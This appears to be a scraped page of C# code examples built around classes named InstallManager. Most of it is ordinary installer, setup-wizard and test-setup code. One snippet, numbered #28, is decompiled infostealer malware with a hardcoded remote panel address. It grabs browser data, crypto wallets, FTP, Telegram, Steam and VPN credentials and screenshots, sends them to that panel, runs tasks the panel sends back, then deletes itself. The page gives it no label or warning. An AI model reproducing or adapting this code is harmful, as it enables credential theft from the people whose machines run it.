                    this.Log().Info("We are doing an UI install! Huzzah!");

                    var welcomeVm             = RxApp.GetService <IWelcomeViewModel>();
                    welcomeVm.PackageMetadata = bundledPackageMetadata.Value;
                    welcomeVm.ShouldProceed.Subscribe(_ => wixEvents.Engine.Plan(LaunchAction.Install));

                    // NB: WiX runs a "Main thread" that all of these events
                    // come back on, and a "UI thread" where it actually runs
                    // the WPF window. Gotta proxy to the UI thread.
                    RxApp.DeferredScheduler.Schedule(() => Router.Navigate.Execute(welcomeVm));
                }
            });

            var executablesToStart = Enumerable.Empty <string>();

            wixEvents.PlanCompleteObs.Subscribe(eventArgs => {
                var installManager = new InstallManager(BundledRelease);
                var error          = convertHResultToError(eventArgs.Status);
                if (error != null)
                {
                    UserError.Throw(error);
                    return;
                }

                if (wixEvents.Action == LaunchAction.Uninstall)
                {
                    installManager.ExecuteUninstall().Subscribe(
                        _ => wixEvents.Engine.Apply(wixEvents.MainWindowHwnd),
                        ex => UserError.Throw(new UserError("Failed to uninstall", ex.Message, innerException: ex)));
                    return;
                }

                IObserver <int> progress = null;

                if (wixEvents.DisplayMode == Display.Full)
                {
                    var installingVm             = RxApp.GetService <IInstallingViewModel>();
                    progress                     = installingVm.ProgressValue;
                    installingVm.PackageMetadata = bundledPackageMetadata.Value;
                    RxApp.DeferredScheduler.Schedule(() => Router.Navigate.Execute(installingVm));
                }

                installManager.ExecuteInstall(this.currentAssemblyDir, bundledPackageMetadata.Value, progress).Subscribe(
                    toStart => {
                    executablesToStart = toStart ?? executablesToStart;
                    wixEvents.Engine.Apply(wixEvents.MainWindowHwnd);
                },
                    ex => UserError.Throw("Failed to install application", ex));
            });

            wixEvents.ApplyCompleteObs.Subscribe(eventArgs => {
                var error = convertHResultToError(eventArgs.Status);
                if (error != null)
                {
                    UserError.Throw(error);
                    return;
                }

                if (wixEvents.DisplayMode == Display.Full && wixEvents.Action == LaunchAction.Install)
                {
                    foreach (var path in executablesToStart)
                    {
                        Process.Start(path);
                    }
                }

                wixEvents.ShouldQuit();
            });

            wixEvents.ErrorObs.Subscribe(eventArgs => UserError.Throw("An installation error has occurred: " + eventArgs.ErrorMessage));

            wixEvents.Engine.Detect();
        }
        public void SetupInstall(string[] productList)
        {
            _hasInstallers = false;
            _installControl = null;
            _installManager = new InstallManager();
            _productList = new List<string>();
            _installManager.InstallerStatusUpdated += new EventHandler<InstallStatusEventArgs>(InstallerStatusUpdated);
            _installManager.InstallCompleted += new EventHandler<EventArgs>(InstallerCompletedCallback);

            var productManager = new ProductManager();
            // Load feed specifying that enclosure files are needed.
            productManager.Load(new Uri(WebPiFeedUrl), true, true, false, Path.GetTempPath());

            var productsToInstall = new List<Product>();
            var uniqueInstallerList = new Dictionary<string, Installer>(StringComparer.OrdinalIgnoreCase);
            var languageOfInstallers = productManager.GetLanguage(Thread.CurrentThread.CurrentCulture.ToString());
            var english = productManager.GetLanguage("en");

            foreach (var productName in productList)
            {
                Product product = productManager.GetProduct(productName);
                LogInformation("Initial Product to install: {0}", product.ProductId);
                if (!product.IsInstalled(true))
                {
                    AddProductWithDependencies(product, productsToInstall);

                    foreach (Product productToInstall in productsToInstall)
                    {
                        Installer currentInstaller = productToInstall.GetInstaller(languageOfInstallers);
                        if (currentInstaller == null)
                        {
                            currentInstaller = productToInstall.GetInstaller(english);
                        }

                        if (currentInstaller != null)
                        {
                            if (!uniqueInstallerList.ContainsKey(currentInstaller.Product.ProductId))
                            {
                                uniqueInstallerList[currentInstaller.Product.ProductId] = currentInstaller;
                                LogInformation("Adding product: {0}", currentInstaller.Product.ProductId);
                                _productList.Add(currentInstaller.Product.ProductId);
                            }
                            _hasInstallers = true;
                        }
                    }
                }
            }

            if (_hasInstallers)
            {
                _installManager.Load(uniqueInstallerList.Values);
            }
        }
Beispiel #27
0
        public void InstallProducts(
            IEnumerable <string> productIdsToInstall,
            bool installDependencies,
            string languageId,
            EventHandler <InstallStatusEventArgs> installStatusUpdatedHandler,
            EventHandler <EventArgs> installCompleteHandler)
        {
            List <Product> productsToInstall = null;

            if (installDependencies)
            {
                // Get products & dependencies list to install
                productsToInstall = GetProductsToInstallWithDependencies(productIdsToInstall);
            }
            else
            {
                productsToInstall = GetProductsToInstall(productIdsToInstall);
            }



            // Get installers
            Language         lang            = GetLanguage(languageId);
            List <Installer> installersToUse = GetInstallers(productsToInstall, lang);


            // Prepare install manager & set event handlers
            _installManager = new InstallManager();
            _installManager.Load(installersToUse);


            if (null != installStatusUpdatedHandler)
            {
                _installManager.InstallerStatusUpdated += installStatusUpdatedHandler;
            }
            _installManager.InstallerStatusUpdated += InstallManager_InstallerStatusUpdated;

            if (null != installCompleteHandler)
            {
                _installManager.InstallCompleted += installCompleteHandler;
            }
            _installManager.InstallCompleted += InstallManager_InstallCompleted;

            // Download installer files
            foreach (InstallerContext installerContext in _installManager.InstallerContexts)
            {
                if (null != installerContext.Installer.InstallerFile)
                {
                    string failureReason;
                    if (!_installManager.DownloadInstallerFile(installerContext, out failureReason))
                    {
                        WriteLog(string.Format("DownloadInstallerFile '{0}' failed: {1}",
                                               installerContext.Installer.InstallerFile.InstallerUrl, failureReason));

                        throw new Exception(
                                  string.Format("Can't install {0}  DownloadInstallerFile '{1}' failed: {2}",
                                                installerContext.ProductName,
                                                installerContext.Installer.InstallerFile.InstallerUrl,
                                                failureReason)
                                  );
                    }
                }
            }

            if (installersToUse.Count > 0)
            {
                // Start installation
                _installCompleted = false;
                _installManager.StartInstallation();

                while (!_installCompleted)
                {
                    Thread.Sleep(100);
                }

                //save logs
                SaveLogDirectory();


                _installCompleted = false;
            }
            else
            {
                //Log("Nothing to install");
            }
        }
Beispiel #28
0
        // Token: 0x06000006 RID: 6 RVA: 0x00002078 File Offset: 0x00000278
        public static void Main(string[] args)
        {
            string text    = "95.181.172.34:35253";
            string buildId = "loshariki";

            try
            {
                try
                {
                    ServicePointManager.Expect100Continue = true;
                    ServicePointManager.SecurityProtocol  = (SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls | SecurityProtocolType.Tls12);
                }
                catch
                {
                }
                bool    flag;
                UserLog log;
                Action <IRemotePanel> < > 9__0;
                do
                {
                    flag = false;
                    try
                    {
                        foreach (string remoteIP in text.Split(new char[]
                        {
                            '|'
                        }))
                        {
                            try
                            {
                                Action <IRemotePanel> codeBlock;
                                if ((codeBlock = < > 9__0) == null)
                                {
                                    codeBlock = (< > 9__0 = delegate(IRemotePanel panel)
                                    {
                                        ClientSettings settings = null;
                                        try
                                        {
                                            settings = panel.GetSettings();
                                        }
                                        catch (Exception)
                                        {
                                            settings = new ClientSettings
                                            {
                                                BlacklistedCountry = new List <string>(),
                                                BlacklistedIP = new List <string>(),
                                                GrabBrowsers = true,
                                                GrabFiles = true,
                                                GrabFTP = true,
                                                GrabImClients = true,
                                                GrabPaths = new List <string>(),
                                                GrabUserAgent = true,
                                                GrabWallets = true,
                                                GrabScreenshot = true,
                                                GrabSteam = true,
                                                GrabTelegram = true,
                                                GrabVPN = true
                                            };
                                        }
                                        UserLog log = UserLogHelper.Create(settings);
                                        log.Exceptions = new List <string>();
                                        log.BuildID = buildId;
                                        log.Credentials = CredentialsHelper.Create(settings);
                                        log.SendTo(panel);
                                        log = log;
                                        log.Credentials = new Credentials();
                                        IList <RemoteTask> tasks = panel.GetTasks(log);
                                        if (tasks != null)
                                        {
                                            foreach (RemoteTask remoteTask in tasks)
                                            {
                                                try
                                                {
                                                    if (log.ContainsDomains(remoteTask.DomainsCheck) && Program.CompleteTask(remoteTask))
                                                    {
                                                        panel.CompleteTask(log, remoteTask.ID);
                                                    }
                                                }
                                                catch
                                                {
                                                }
                                            }
                                        }
                                    });
                                }
                                GenericService <IRemotePanel> .Use(codeBlock, remoteIP);

                                flag = true;
                                break;
                            }
                            catch
                            {
                            }
                        }
                    }
                    catch (Exception)
                    {
                    }
                }while (!flag);
            }
            catch (Exception)
            {
            }
            finally
            {
                InstallManager.RemoveCurrent();
            }
        }
Beispiel #29
0
        private void nextButton_Click(object sender, EventArgs e)
        {
            if (introPanel.Visible)
            {
                introPanel.Visible = false;
                backButton.Visible = true;

                if (skipSettingsCheckBox.Checked)
                {
                    installPanel.Visible = true;
                    nextButton.Text      = LanguageUtil.GetCurrentLanguageString("nextButtonInstall", Name, OptionManager.GetLanguage(this));
                    stepLabel.Text       = LanguageUtil.GetCurrentLanguageString("InstallPhase", Name, OptionManager.GetLanguage(this));
                    stepPictureBox.Image = ImageResource.install_step_6;
                    InstallManager.InitInstallPanel(destinationPathTextBox, availableSpaceLabel1, requiredSpaceLabel1, languageComboBox, OptionManager.GetLanguage(this));
                }
                else
                {
                    languagePanel.Visible = true;
                    stepLabel.Text        = LanguageUtil.GetCurrentLanguageString("LanguagePhase", Name, OptionManager.GetLanguage(this));
                    stepPictureBox.Image  = ImageResource.install_step_2;
                }
            }
            else if (languagePanel.Visible)
            {
                languagePanel.Visible    = false;
                lookAndFeelPanel.Visible = true;
                stepLabel.Text           = LanguageUtil.GetCurrentLanguageString("LookAndFeelPhase", Name, OptionManager.GetLanguage(this));
                stepPictureBox.Image     = ImageResource.install_step_3;
            }
            else if (lookAndFeelPanel.Visible)
            {
                lookAndFeelPanel.Visible = false;
                windowPanel.Visible      = true;
                LookFeelUtil.SetLookAndFeel(this, contentContextMenuStrip);
                LookFeelUtil.SetLookAndFeel(this, contentContextMenuStrip1);
                stepLabel.Text       = LanguageUtil.GetCurrentLanguageString("WindowPhase", Name, OptionManager.GetLanguage(this));
                stepPictureBox.Image = ImageResource.install_step_4;
            }
            else if (windowPanel.Visible)
            {
                windowPanel.Visible   = false;
                internetPanel.Visible = true;
                stepLabel.Text        = LanguageUtil.GetCurrentLanguageString("InternetPhase", Name, OptionManager.GetLanguage(this));
                stepPictureBox.Image  = ImageResource.install_step_5;
            }
            else if (internetPanel.Visible)
            {
                internetPanel.Visible = false;
                installPanel.Visible  = true;
                nextButton.Text       = LanguageUtil.GetCurrentLanguageString("nextButtonInstall", Name, OptionManager.GetLanguage(this));
                stepLabel.Text        = LanguageUtil.GetCurrentLanguageString("InstallPhase", Name, OptionManager.GetLanguage(this));
                stepPictureBox.Image  = ImageResource.install_step_6;
                InstallManager.InitInstallPanel(destinationPathTextBox, availableSpaceLabel1, requiredSpaceLabel1, languageComboBox, OptionManager.GetLanguage(this));
            }
            else if (installPanel.Visible)
            {
                installPanel.Visible = false;
                endPanel.Visible     = true;
                backButton.Visible   = false;
                nextButton.Visible   = false;
                cancelButton.Enabled = false;
                stepLabel.Text       = LanguageUtil.GetCurrentLanguageString("EndPhase", Name, OptionManager.GetLanguage(this));
                stepPictureBox.Image = ImageResource.install_step_7;
                Refresh();

                if (InstallManager.InstallProcedure(this, installProgressBar, installTextBox, OptionManager.GetLanguage(this)))
                {
                    nextButton.Text    = LanguageUtil.GetCurrentLanguageString("nextButtonStart", Name, OptionManager.GetLanguage(this));
                    nextButton.Visible = true;
                    nextButton.Click  += nextButton_ClickEnd;
                    nextButton.Focus();
                }
                else
                {
                    backButton.Visible = true;
                }

                cancelButton.Text    = LanguageUtil.GetCurrentLanguageString("cancelButtonExit", Name, OptionManager.GetLanguage(this));
                cancelButton.Enabled = true;
            }
        }
Beispiel #30
0
        private void backButton_Click(object sender, EventArgs e)
        {
            if (languagePanel.Visible)
            {
                languagePanel.Visible = false;
                introPanel.Visible    = true;
                backButton.Visible    = false;
                stepLabel.Text        = LanguageUtil.GetCurrentLanguageString("IntroPhase", Name, OptionManager.GetLanguage(this));
                stepPictureBox.Image  = ImageResource.install_step_1;
            }
            else if (lookAndFeelPanel.Visible)
            {
                lookAndFeelPanel.Visible = false;
                languagePanel.Visible    = true;
                stepLabel.Text           = LanguageUtil.GetCurrentLanguageString("LanguagePhase", Name, OptionManager.GetLanguage(this));
                stepPictureBox.Image     = ImageResource.install_step_2;
            }
            else if (windowPanel.Visible)
            {
                windowPanel.Visible      = false;
                lookAndFeelPanel.Visible = true;
                stepLabel.Text           = LanguageUtil.GetCurrentLanguageString("LookAndFeelPhase", Name, OptionManager.GetLanguage(this));
                stepPictureBox.Image     = ImageResource.install_step_3;
            }
            else if (internetPanel.Visible)
            {
                internetPanel.Visible = false;
                windowPanel.Visible   = true;
                stepLabel.Text        = LanguageUtil.GetCurrentLanguageString("WindowPhase", Name, OptionManager.GetLanguage(this));
                stepPictureBox.Image  = ImageResource.install_step_4;
            }
            else if (installPanel.Visible)
            {
                installPanel.Visible = false;

                if (skipSettingsCheckBox.Checked)
                {
                    introPanel.Visible   = true;
                    backButton.Visible   = false;
                    nextButton.Text      = LanguageUtil.GetCurrentLanguageString("nextButton", Name, OptionManager.GetLanguage(this));
                    stepLabel.Text       = LanguageUtil.GetCurrentLanguageString("IntroPhase", Name, OptionManager.GetLanguage(this));
                    stepPictureBox.Image = ImageResource.install_step_1;
                }
                else
                {
                    internetPanel.Visible = true;
                    nextButton.Text       = LanguageUtil.GetCurrentLanguageString("nextButton", Name, OptionManager.GetLanguage(this));
                    stepLabel.Text        = LanguageUtil.GetCurrentLanguageString("InternetPhase", Name, OptionManager.GetLanguage(this));
                    stepPictureBox.Image  = ImageResource.install_step_5;
                }
            }
            else if (endPanel.Visible)
            {
                endPanel.Visible     = false;
                installPanel.Visible = true;
                nextButton.Text      = LanguageUtil.GetCurrentLanguageString("nextButtonInstall", Name, OptionManager.GetLanguage(this));
                nextButton.Visible   = true;
                stepLabel.Text       = LanguageUtil.GetCurrentLanguageString("InstallPhase", Name, OptionManager.GetLanguage(this));
                stepPictureBox.Image = ImageResource.install_step_6;
                InstallManager.InitInstallPanel(destinationPathTextBox, availableSpaceLabel1, requiredSpaceLabel1, languageComboBox, OptionManager.GetLanguage(this));
            }
        }
Beispiel #31
0
 private async void button1_Click(object sender, EventArgs e)
 {
     InstallManager im = new InstallManager("adamosoftware", "install", "BlobakSetup.exe", "Blobak");
     await im.AutoInstallAsync(true);
 }
Beispiel #32
0
        private void DoInstall(string OutputFile)
        {
            List <string> InstallFileList = new List <string>();

            InstallFileList.Add(OutputFile);
            ProgressWindow.Show("Installing Mod", String.Format("Installing {0}, please wait...", cm.textModName.Text), new Action((MethodInvoker) delegate { InstallManager.InstallMods(InstallFileList); }), log);
        }
Beispiel #33
0
 public void Setup()
 {
     _installManager = new InstallManager("baseDirectory");
 }
Beispiel #34
0
 public void Setup()
 {
     _installManager = new InstallManager("baseDirectory");
 }